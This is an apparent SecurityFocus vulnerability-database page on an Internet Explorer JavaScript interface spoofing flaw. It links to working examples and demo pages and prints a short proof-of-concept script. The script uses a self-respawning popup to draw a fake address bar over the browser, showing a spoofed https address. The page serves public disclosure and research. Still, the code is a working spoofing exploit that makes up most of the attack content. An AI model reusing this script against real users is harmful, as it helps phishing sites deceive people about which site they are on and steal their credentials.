Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

Microsoft Internet Explorer JavaScript Interface Spoofing Vulnerability

Georgi Guninski has provided the following working examples:

http://www.guninski.com/opf2.html
http://www.guninski.com/bsod1.html

Proof of concept demos are available at the following locations:

http://freehost07.websamba.com/greyhats/dlwinspoof.htm
http://www.doxdesk.com/personal/posts/bugtraq/20030713-ie/

The following proof-of-concept example is also available:
var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+72;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-520;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px;
font-family: \'Tahoma\', sans-serif; font-size:
8pt;">https://<spoofed URI>\x3C/div>'







 

Privacy Statement
Copyright 2008, SecurityFocus